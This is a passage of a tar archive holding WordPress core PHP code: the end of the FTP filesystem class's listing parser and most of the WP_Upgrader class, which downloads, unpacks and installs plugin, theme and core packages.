if ( $is_windows && preg_match( '/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer ) ) {
			$b = array();

if ( $lucifer[3] < 70 ) {
				$lucifer[3] += 2000;
			} else {
				$lucifer[3] += 1900; // 4-digit year fix.
			}

$b['isdir'] = ( '<DIR>' === $lucifer[7] );

if ( $b['isdir'] ) {
				$b['type'] = 'd';
			} else {
				$b['type'] = 'f';
			}

$b['size']   = $lucifer[7];
			$b['month']  = $lucifer[1];
			$b['day']    = $lucifer[2];
			$b['year']   = $lucifer[3];
			$b['hour']   = $lucifer[4];
			$b['minute'] = $lucifer[5];
			$b['time']   = mktime( $lucifer[4] + ( strcasecmp( $lucifer[6], 'PM' ) == 0 ? 12 : 0 ), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3] );
			$b['am/pm']  = $lucifer[6];
			$b['name']   = $lucifer[8];
		} elseif ( ! $is_windows ) {
			$lucifer = preg_split( '/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY );

if ( $lucifer ) {
				// echo $line."\n";
				$lcount = count( $lucifer );

if ( $lcount < 8 ) {
					return '';
				}

$b           = array();
				$b['isdir']  = 'd' === $lucifer[0][0];
				$b['islink'] = 'l' === $lucifer[0][0];

if ( $b['isdir'] ) {
					$b['type'] = 'd';
				} elseif ( $b['islink'] ) {
					$b['type'] = 'l';
				} else {
					$b['type'] = 'f';
				}

$b['perms']  = $lucifer[0];
				$b['permsn'] = $this->getnumchmodfromh( $b['perms'] );
				$b['number'] = $lucifer[1];
				$b['owner']  = $lucifer[2];
				$b['group']  = $lucifer[3];
				$b['size']   = $lucifer[4];

if ( 8 == $lcount ) {
					sscanf( $lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day'] );
					sscanf( $lucifer[6], '%d:%d', $b['hour'], $b['minute'] );

$b['time'] = mktime( $b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year'] );
					$b['name'] = $lucifer[7];
				} else {
					$b['month'] = $lucifer[5];
					$b['day']   = $lucifer[6];

if ( preg_match( '/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2 ) ) {
						$b['year']   = gmdate( 'Y' );
						$b['hour']   = $l2[1];
						$b['minute'] = $l2[2];
					} else {
						$b['year']   = $lucifer[7];
						$b['hour']   = 0;
						$b['minute'] = 0;
					}

$b['time'] = strtotime( sprintf( '%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute'] ) );
					$b['name'] = $lucifer[8];
				}
			}
		}

// Replace symlinks formatted as "source -> target" with just the source name.
		if ( isset( $b['islink'] ) && $b['islink'] ) {
			$b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] );
		}

return $b;
	}

$pwd = ftp_pwd( $this->link );

if ( ! @ftp_chdir( $this->link, $path ) ) { // Can't change to folder = folder doesn't exist.
			return false;
		}

$list = ftp_rawlist( $this->link, '-a', false );

@ftp_chdir( $this->link, $pwd );

if ( empty( $list ) ) { // Empty array = non-existent folder (real folder will show . at least).
			return false;
		}

$dirlist = array();

foreach ( $list as $k => $v ) {
			$entry = $this->parselisting( $v );

if ( empty( $entry ) ) {
				continue;
			}

if ( '.' === $entry['name'] || '..' === $entry['name'] ) {
				continue;
			}

if ( ! $include_hidden && '.' === $entry['name'][0] ) {
				continue;
			}

if ( $limit_file && $entry['name'] != $limit_file ) {
				continue;
			}

$dirlist[ $entry['name'] ] = $entry;
		}

$ret = array();

foreach ( (array) $dirlist as $struc ) {
			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . '/' . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

$ret[ $struc['name'] ] = $struc;
		}

return $ret;
	}

/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */
	public function __destruct() {
		if ( $this->link ) {
			ftp_close( $this->link );
		}
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-upgrader.php�������������������������������������������������������������������������������0000604�����������������00000106564�15075125354�0010634 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Upgrade API: WP_Upgrader class
 *
 * Requires skin classes and WP_Upgrader subclasses for backward compatibility.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';

/**
 * Core class used for upgrading/installing a local set of files via
 * the Filesystem Abstraction classes from a Zip file.
 *
 * @since 2.8.0
 */
class WP_Upgrader {

/**
	 * The error/notification strings used to update the user on the progress.
	 *
	 * @since 2.8.0
	 * @var array $strings
	 */
	public $strings = array();

/**
	 * The upgrader skin being used.
	 *
	 * @since 2.8.0
	 * @var Automatic_Upgrader_Skin|WP_Upgrader_Skin $skin
	 */
	public $skin = null;

/**
	 * The result of the installation.
	 *
	 * This is set by WP_Upgrader::install_package(), only when the package is installed
	 * successfully. It will then be an array, unless a WP_Error is returned by the
	 * {@see 'upgrader_post_install'} filter. In that case, the WP_Error will be assigned to
	 * it.
	 *
	 * @since 2.8.0
	 *
	 * @var array|WP_Error $result {
	 *     @type string $source             The full path to the source the files were installed from.
	 *     @type string $source_files       List of all the files in the source directory.
	 *     @type string $destination        The full path to the installation destination folder.
	 *     @type string $destination_name   The name of the destination folder, or empty if `$destination`
	 *                                      and `$local_destination` are the same.
	 *     @type string $local_destination  The full local path to the destination folder. This is usually
	 *                                      the same as `$destination`.
	 *     @type string $remote_destination The full remote path to the destination folder
	 *                                      (i.e., from `$wp_filesystem`).
	 *     @type bool   $clear_destination  Whether the destination folder was cleared.
	 * }
	 */
	public $result = array();

/**
	 * The total number of updates being performed.
	 *
	 * Set by the bulk update methods.
	 *
	 * @since 3.0.0
	 * @var int $update_count
	 */
	public $update_count = 0;

/**
	 * The current update if multiple updates are being performed.
	 *
	 * Used by the bulk update methods, and incremented for each update.
	 *
	 * @since 3.0.0
	 * @var int
	 */
	public $update_current = 0;

/**
	 * Construct the upgrader with a skin.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader_Skin $skin The upgrader skin to use. Default is a WP_Upgrader_Skin
	 *                               instance.
	 */
	public function __construct( $skin = null ) {
		if ( null == $skin ) {
			$this->skin = new WP_Upgrader_Skin();
		} else {
			$this->skin = $skin;
		}
	}

/**
	 * Initialize the upgrader.
	 *
	 * This will set the relationship between the skin being used and this upgrader,
	 * and also add the generic strings to `WP_Upgrader::$strings`.
	 *
	 * @since 2.8.0
	 */
	public function init() {
		$this->skin->set_upgrader( $this );
		$this->generic_strings();
	}

/**
	 * Add the generic strings to WP_Upgrader::$strings.
	 *
	 * @since 2.8.0
	 */
	public function generic_strings() {
		$this->strings['bad_request']       = __( 'Invalid data provided.' );
		$this->strings['fs_unavailable']    = __( 'Could not access filesystem.' );
		$this->strings['fs_error']          = __( 'Filesystem error.' );
		$this->strings['fs_no_root_dir']    = __( 'Unable to locate WordPress root directory.' );
		$this->strings['fs_no_content_dir'] = __( 'Unable to locate WordPress content directory (wp-content).' );
		$this->strings['fs_no_plugins_dir'] = __( 'Unable to locate WordPress plugin directory.' );
		$this->strings['fs_no_themes_dir']  = __( 'Unable to locate WordPress theme directory.' );
		/* translators: %s: Directory name. */
		$this->strings['fs_no_folder'] = __( 'Unable to locate needed folder (%s).' );

$this->strings['download_failed']      = __( 'Download failed.' );
		$this->strings['installing_package']   = __( 'Installing the latest version&#8230;' );
		$this->strings['no_files']             = __( 'The package contains no files.' );
		$this->strings['folder_exists']        = __( 'Destination folder already exists.' );
		$this->strings['mkdir_failed']         = __( 'Could not create directory.' );
		$this->strings['incompatible_archive'] = __( 'The package could not be installed.' );
		$this->strings['files_not_writable']   = __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' );

$this->strings['maintenance_start'] = __( 'Enabling Maintenance mode&#8230;' );
		$this->strings['maintenance_end']   = __( 'Disabling Maintenance mode&#8230;' );
	}

/**
	 * Connect to the filesystem.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $directories                  Optional. Array of directories. If any of these do
	 *                                               not exist, a WP_Error object will be returned.
	 *                                               Default empty array.
	 * @param bool     $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
	 *                                               Default false.
	 * @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
	 */
	public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
		global $wp_filesystem;

$credentials = $this->skin->request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership );
		if ( false === $credentials ) {
			return false;
		}

if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
			$error = true;
			if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->has_errors() ) {
				$error = $wp_filesystem->errors;
			}
			// Failed to connect. Error and request again.
			$this->skin->request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
			return false;
		}

if ( ! is_object( $wp_filesystem ) ) {
			return new WP_Error( 'fs_unavailable', $this->strings['fs_unavailable'] );
		}

if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			return new WP_Error( 'fs_error', $this->strings['fs_error'], $wp_filesystem->errors );
		}

foreach ( (array) $directories as $dir ) {
			switch ( $dir ) {
				case ABSPATH:
					if ( ! $wp_filesystem->abspath() ) {
						return new WP_Error( 'fs_no_root_dir', $this->strings['fs_no_root_dir'] );
					}
					break;
				case WP_CONTENT_DIR:
					if ( ! $wp_filesystem->wp_content_dir() ) {
						return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
					}
					break;
				case WP_PLUGIN_DIR:
					if ( ! $wp_filesystem->wp_plugins_dir() ) {
						return new WP_Error( 'fs_no_plugins_dir', $this->strings['fs_no_plugins_dir'] );
					}
					break;
				case get_theme_root():
					if ( ! $wp_filesystem->wp_themes_dir() ) {
						return new WP_Error( 'fs_no_themes_dir', $this->strings['fs_no_themes_dir'] );
					}
					break;
				default:
					if ( ! $wp_filesystem->find_folder( $dir ) ) {
						return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) );
					}
					break;
			}
		}
		return true;
	}

/**
	 * Download a package.
	 *
	 * @since 2.8.0
	 * @since 5.5.0 Added the `$hook_extra` parameter.
	 *
	 * @param string $package          The URI of the package. If this is the full path to an
	 *                                 existing local file, it will be returned untouched.
	 * @param bool   $check_signatures Whether to validate file signatures. Default false.
	 * @param array  $hook_extra       Extra arguments to pass to the filter hooks. Default empty array.
	 * @return string|WP_Error The full path to the downloaded package file, or a WP_Error object.
	 */
	public function download_package( $package, $check_signatures = false, $hook_extra = array() ) {
		/**
		 * Filters whether to return the package.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 Added the `$hook_extra` parameter.
		 *
		 * @param bool        $reply      Whether to bail without returning the package.
		 *                                Default false.
		 * @param string      $package    The package file name.
		 * @param WP_Upgrader $this       The WP_Upgrader instance.
		 * @param array       $hook_extra Extra arguments passed to hooked filters.
		 */
		$reply = apply_filters( 'upgrader_pre_download', false, $package, $this, $hook_extra );
		if ( false !== $reply ) {
			return $reply;
		}

if ( ! preg_match( '!^(http|https|ftp)://!i', $package ) && file_exists( $package ) ) { // Local file or remote?
			return $package; // Must be a local file.
		}

if ( empty( $package ) ) {
			return new WP_Error( 'no_package', $this->strings['no_package'] );
		}

$this->skin->feedback( 'downloading_package', $package );

$download_file = download_url( $package, 300, $check_signatures );

if ( is_wp_error( $download_file ) && ! $download_file->get_error_data( 'softfail-filename' ) ) {
			return new WP_Error( 'download_failed', $this->strings['download_failed'], $download_file->get_error_message() );
		}

return $download_file;
	}

/**
	 * Unpack a compressed package file.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $package        Full path to the package file.
	 * @param bool   $delete_package Optional. Whether to delete the package file after attempting
	 *                               to unpack it. Default true.
	 * @return string|WP_Error The path to the unpacked contents, or a WP_Error on failure.
	 */
	public function unpack_package( $package, $delete_package = true ) {
		global $wp_filesystem;

$this->skin->feedback( 'unpack_package' );

$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';

// Clean up contents of upgrade directory beforehand.
		$upgrade_files = $wp_filesystem->dirlist( $upgrade_folder );
		if ( ! empty( $upgrade_files ) ) {
			foreach ( $upgrade_files as $file ) {
				$wp_filesystem->delete( $upgrade_folder . $file['name'], true );
			}
		}

// We need a working directory - strip off any .tmp or .zip suffixes.
		$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );

// Clean up working directory.
		if ( $wp_filesystem->is_dir( $working_dir ) ) {
			$wp_filesystem->delete( $working_dir, true );
		}

// Unzip package to working directory.
		$result = unzip_file( $package, $working_dir );

// Once extracted, delete the package if required.
		if ( $delete_package ) {
			unlink( $package );
		}

if ( is_wp_error( $result ) ) {
			$wp_filesystem->delete( $working_dir, true );
			if ( 'incompatible_archive' === $result->get_error_code() ) {
				return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() );
			}
			return $result;
		}

return $working_dir;
	}

/**
	 * Flatten the results of WP_Filesystem::dirlist() for iterating over.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @param array  $nested_files Array of files as returned by WP_Filesystem::dirlist().
	 * @param string $path         Relative path to prepend to child nodes. Optional.
	 * @return array A flattened array of the $nested_files specified.
	 */
	protected function flatten_dirlist( $nested_files, $path = '' ) {
		$files = array();

foreach ( $nested_files as $name => $details ) {
			$files[ $path . $name ] = $details;

// Append children recursively.
			if ( ! empty( $details['files'] ) ) {
				$children = $this->flatten_dirlist( $details['files'], $path . $name . '/' );

// Merge keeping possible numeric keys, which array_merge() will reindex from 0..n.
				$files = $files + $children;
			}
		}

return $files;
	}

/**
	 * Clears the directory where this item is going to be installed into.
	 *
	 * @since 4.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $remote_destination The location on the remote filesystem to be cleared
	 * @return bool|WP_Error True upon success, WP_Error on failure.
	 */
	public function clear_destination( $remote_destination ) {
		global $wp_filesystem;

$files = $wp_filesystem->dirlist( $remote_destination, true, true );

// False indicates that the $remote_destination doesn't exist.
		if ( false === $files ) {
			return true;
		}

// Flatten the file list to iterate over.
		$files = $this->flatten_dirlist( $files );

// Check all files are writable before attempting to clear the destination.
		$unwritable_files = array();

// Check writability.
		foreach ( $files as $filename => $file_details ) {
			if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
				// Attempt to alter permissions to allow writes and try again.
				$wp_filesystem->chmod( $remote_destination . $filename, ( 'd' === $file_details['type'] ? FS_CHMOD_DIR : FS_CHMOD_FILE ) );
				if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
					$unwritable_files[] = $filename;
				}
			}
		}

if ( ! empty( $unwritable_files ) ) {
			return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
		}

if ( ! $wp_filesystem->delete( $remote_destination, true ) ) {
			return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
		}

return true;
	}

/**
	 * Install a package.
	 *
	 * Copies the contents of a package form a source directory, and installs them in
	 * a destination directory. Optionally removes the source. It can also optionally
	 * clear out the destination folder if it already exists.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem        WordPress filesystem subclass.
	 * @global array              $wp_theme_directories
	 *
	 * @param array|string $args {
	 *     Optional. Array or string of arguments for installing a package. Default empty array.
	 *
	 *     @type string $source                      Required path to the package source. Default empty.
	 *     @type string $destination                 Required path to a folder to install the package in.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the destination
	 *                                               folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files form the working directory
	 *                                               after copying to the destination. Default false.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if
	 *                                               the destination folder already exists. Default true.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::install_package(). Default empty array.
	 * }
	 *
	 * @return array|WP_Error The result (also stored in `WP_Upgrader::$result`), or a WP_Error on failure.
	 */
	public function install_package( $args = array() ) {
		global $wp_filesystem, $wp_theme_directories;

$defaults = array(
			'source'                      => '', // Please always pass this.
			'destination'                 => '', // ...and this.
			'clear_destination'           => false,
			'clear_working'               => false,
			'abort_if_destination_exists' => true,
			'hook_extra'                  => array(),
		);

$args = wp_parse_args( $args, $defaults );

// These were previously extract()'d.
		$source            = $args['source'];
		$destination       = $args['destination'];
		$clear_destination = $args['clear_destination'];

set_time_limit( 300 );

if ( empty( $source ) || empty( $destination ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}
		$this->skin->feedback( 'installing_package' );

/**
		 * Filters the install response before the installation has started.
		 *
		 * Returning a truthy value, or one that could be evaluated as a WP_Error
		 * will effectively short-circuit the installation, returning that value
		 * instead.
		 *
		 * @since 2.8.0
		 *
		 * @param bool|WP_Error $response   Response.
		 * @param array         $hook_extra Extra arguments passed to hooked filters.
		 */
		$res = apply_filters( 'upgrader_pre_install', true, $args['hook_extra'] );

if ( is_wp_error( $res ) ) {
			return $res;
		}

// Retain the original source and destinations.
		$remote_source     = $args['source'];
		$local_destination = $destination;

$source_files       = array_keys( $wp_filesystem->dirlist( $remote_source ) );
		$remote_destination = $wp_filesystem->find_folder( $local_destination );

// Locate which directory to copy to the new folder. This is based on the actual folder holding the files.
		if ( 1 === count( $source_files ) && $wp_filesystem->is_dir( trailingslashit( $args['source'] ) . $source_files[0] . '/' ) ) {
			// Only one folder? Then we want its contents.
			$source = trailingslashit( $args['source'] ) . trailingslashit( $source_files[0] );
		} elseif ( count( $source_files ) == 0 ) {
			// There are no files?
			return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] );
		} else {
			// It's only a single file, the upgrader will use the folder name of this file as the destination folder.
			// Folder name is based on zip filename.
			$source = trailingslashit( $args['source'] );
		}

/**
		 * Filters the source file location for the upgrade package.
		 *
		 * @since 2.8.0
		 * @since 4.4.0 The $hook_extra parameter became available.
		 *
		 * @param string      $source        File source location.
		 * @param string      $remote_source Remote file source location.
		 * @param WP_Upgrader $this          WP_Upgrader instance.
		 * @param array       $hook_extra    Extra arguments passed to hooked filters.
		 */
		$source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this, $args['hook_extra'] );

if ( is_wp_error( $source ) ) {
			return $source;
		}

// Has the source location changed? If so, we need a new source_files list.
		if ( $source !== $remote_source ) {
			$source_files = array_keys( $wp_filesystem->dirlist( $source ) );
		}

/*
		 * Protection against deleting files in any important base directories.
		 * Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the
		 * destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
		 * to copy the directory into the directory, whilst they pass the source
		 * as the actual files to copy.
		 */
		$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' );

if ( is_array( $wp_theme_directories ) ) {
			$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
		}

if ( in_array( $destination, $protected_directories, true ) ) {
			$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
			$destination        = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
		}

if ( $clear_destination ) {
			// We're going to clear the destination if there's something there.
			$this->skin->feedback( 'remove_old' );

$removed = $this->clear_destination( $remote_destination );

/**
			 * Filters whether the upgrader cleared the destination.
			 *
			 * @since 2.8.0
			 *
			 * @param true|WP_Error $removed            Whether the destination was cleared. true upon success, WP_Error on failure.
			 * @param string        $local_destination  The local package destination.
			 * @param string        $remote_destination The remote package destination.
			 * @param array         $hook_extra         Extra arguments passed to hooked filters.
			 */
			$removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $args['hook_extra'] );

if ( is_wp_error( $removed ) ) {
				return $removed;
			}
		} elseif ( $args['abort_if_destination_exists'] && $wp_filesystem->exists( $remote_destination ) ) {
			// If we're not clearing the destination folder and something exists there already, bail.
			// But first check to see if there are actually any files in the folder.
			$_files = $wp_filesystem->dirlist( $remote_destination );
			if ( ! empty( $_files ) ) {
				$wp_filesystem->delete( $remote_source, true ); // Clear out the source files.
				return new WP_Error( 'folder_exists', $this->strings['folder_exists'], $remote_destination );
			}
		}

// Create destination if needed.
		if ( ! $wp_filesystem->exists( $remote_destination ) ) {
			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
				return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination );
			}
		}

// Copy new version of item into place.
		$result = copy_dir( $source, $remote_destination );
		if ( is_wp_error( $result ) ) {
			if ( $args['clear_working'] ) {
				$wp_filesystem->delete( $remote_source, true );
			}
			return $result;
		}

// Clear the working folder?
		if ( $args['clear_working'] ) {
			$wp_filesystem->delete( $remote_source, true );
		}

$destination_name = basename( str_replace( $local_destination, '', $destination ) );
		if ( '.' === $destination_name ) {
			$destination_name = '';
		}

$this->result = compact( 'source', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination' );

/**
		 * Filters the installation response after the installation has finished.
		 *
		 * @since 2.8.0
		 *
		 * @param bool  $response   Installation response.
		 * @param array $hook_extra Extra arguments passed to hooked filters.
		 * @param array $result     Installation result data.
		 */
		$res = apply_filters( 'upgrader_post_install', true, $args['hook_extra'], $this->result );

if ( is_wp_error( $res ) ) {
			$this->result = $res;
			return $res;
		}

// Bombard the calling function will all the info which we've just used.
		return $this->result;
	}

/**
	 * Run an upgrade/installation.
	 *
	 * Attempts to download the package (if it is not a local file), unpack it, and
	 * install it in the destination folder.
	 *
	 * @since 2.8.0
	 *
	 * @param array $options {
	 *     Array or string of arguments for upgrading/installing a package.
	 *
	 *     @type string $package                     The full path or URI of the package to install.
	 *                                               Default empty.
	 *     @type string $destination                 The full path to the destination folder.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the
	 *                                               destination folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files form the working
	 *                                               directory after copying to the destination.
	 *                                               Default false.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if the destination
	 *                                               folder already exists. When true, `$clear_destination`
	 *                                               should be false. Default true.
	 *     @type bool   $is_multi                    Whether this run is one of multiple upgrade/installation
	 *                                               actions being performed in bulk. When true, the skin
	 *                                               WP_Upgrader::header() and WP_Upgrader::footer()
	 *                                               aren't called. Default false.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::run().
	 * }
	 * @return array|false|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
	 *                              or false if unable to connect to the filesystem.
	 */
	public function run( $options ) {

$defaults = array(
			'package'                     => '', // Please always pass this.
			'destination'                 => '', // ...and this.
			'clear_destination'           => false,
			'abort_if_destination_exists' => true, // Abort if the destination directory exists. Pass clear_destination as false please.
			'clear_working'               => true,
			'is_multi'                    => false,
			'hook_extra'                  => array(), // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
		);

$options = wp_parse_args( $options, $defaults );

/**
		 * Filters the package options before running an update.
		 *
		 * See also {@see 'upgrader_process_complete'}.
		 *
		 * @since 4.3.0
		 *
		 * @param array $options {
		 *     Options used by the upgrader.
		 *
		 *     @type string $package                     Package for update.
		 *     @type string $destination                 Update location.
		 *     @type bool   $clear_destination           Clear the destination resource.
		 *     @type bool   $clear_working               Clear the working resource.
		 *     @type bool   $abort_if_destination_exists Abort if the Destination directory exists.
		 *     @type bool   $is_multi                    Whether the upgrader is running multiple times.
		 *     @type array  $hook_extra {
		 *         Extra hook arguments.
		 *
		 *         @type string $action               Type of action. Default 'update'.
		 *         @type string $type                 Type of update process. Accepts 'plugin', 'theme', or 'core'.
		 *         @type bool   $bulk                 Whether the update process is a bulk update. Default true.
		 *         @type string $plugin               Path to the plugin file relative to the plugins directory.
		 *         @type string $theme                The stylesheet or template name of the theme.
		 *         @type string $language_update_type The language pack update type. Accepts 'plugin', 'theme',
		 *                                            or 'core'.
		 *         @type object $language_update      The language pack update offer.
		 *     }
		 * }
		 */
		$options = apply_filters( 'upgrader_package_options', $options );

if ( ! $options['is_multi'] ) { // Call $this->header separately if running multiple times.
			$this->skin->header();
		}

// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, $options['destination'] ) );
		// Mainly for non-connected filesystem.
		if ( ! $res ) {
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return false;
		}

$this->skin->before();

if ( is_wp_error( $res ) ) {
			$this->skin->error( $res );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $res;
		}

/*
		 * Download the package (Note, This just returns the filename
		 * of the file if the package is a local file)
		 */
		$download = $this->download_package( $options['package'], true, $options['hook_extra'] );

// Allow for signature soft-fail.
		// WARNING: This may be removed in the future.
		if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {

// Don't output the 'no signature could be found' failure message for now.
			if ( 'signature_verification_no_signature' !== $download->get_error_code() || WP_DEBUG ) {
				// Output the failure error as a normal feedback, and not as an error.
				$this->skin->feedback( $download->get_error_message() );

// Report this failure back to WordPress.org for debugging purposes.
				wp_version_check(
					array(
						'signature_failure_code' => $download->get_error_code(),
						'signature_failure_data' => $download->get_error_data(),
					)
				);
			}

// Pretend this error didn't happen.
			$download = $download->get_error_data( 'softfail-filename' );
		}

if ( is_wp_error( $download ) ) {
			$this->skin->error( $download );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $download;
		}

$delete_package = ( $download != $options['package'] ); // Do not delete a "local" file.

// Unzips the file into a temporary directory.
		$working_dir = $this->unpack_package( $download, $delete_package );
		if ( is_wp_error( $working_dir ) ) {
			$this->skin->error( $working_dir );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $working_dir;
		}

// With the given options, this installs it to the destination directory.
		$result = $this->install_package(
			array(
				'source'                      => $working_dir,
				'destination'                 => $options['destination'],
				'clear_destination'           => $options['clear_destination'],
				'abort_if_destination_exists' => $options['abort_if_destination_exists'],
				'clear_working'               => $options['clear_working'],
				'hook_extra'                  => $options['hook_extra'],
			)
		);

$this->skin->set_result( $result );
		if ( is_wp_error( $result ) ) {
			$this->skin->error( $result );

if ( ! method_exists( $this->skin, 'hide_process_failed' ) || ! $this->skin->hide_process_failed( $result ) ) {
				$this->skin->feedback( 'process_failed' );
			}
		} else {
			// Installation succeeded.
			$this->skin->feedback( 'process_success' );
		}

$this->skin->after();

if ( ! $options['is_multi'] ) {

/**
			 * Fires when the upgrader process is complete.
			 *
			 * See also {@see 'upgrader_package_options'}.
			 *
			 * @since 3.6.0
			 * @since 3.7.0 Added to WP_Upgrader::run().
			 * @since 4.6.0 `$translations` was added as a possible argument to `$hook_extra`.
			 *
			 * @param WP_Upgrader $this WP_Upgrader instance. In other contexts, $this, might be a
			 *                          Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
			 * @param array       $hook_extra {
			 *     Array of bulk item update data.
			 *
			 *     @type string $action       Type of action. Default 'update'.
			 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
			 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
			 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
			 *     @type array  $themes       The theme slugs.
			 *     @type array  $translations {
			 *         Array of translations update data.
			 *
			 *         @type string $language The locale the translation is for.
			 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
			 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
			 *                                'default' for core translations.
			 *         @type string $version  The version of a theme, plugin, or core.
			 *     }
			 * }
			 */
			do_action( 'upgrader_process_complete', $this, $options['hook_extra'] );

$this->skin->footer();
		}

return $result;
	}

/**
	 * Toggle maintenance mode for the site.
	 *
	 * Creates/deletes the maintenance file to enable/disable maintenance mode.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem Subclass
	 *
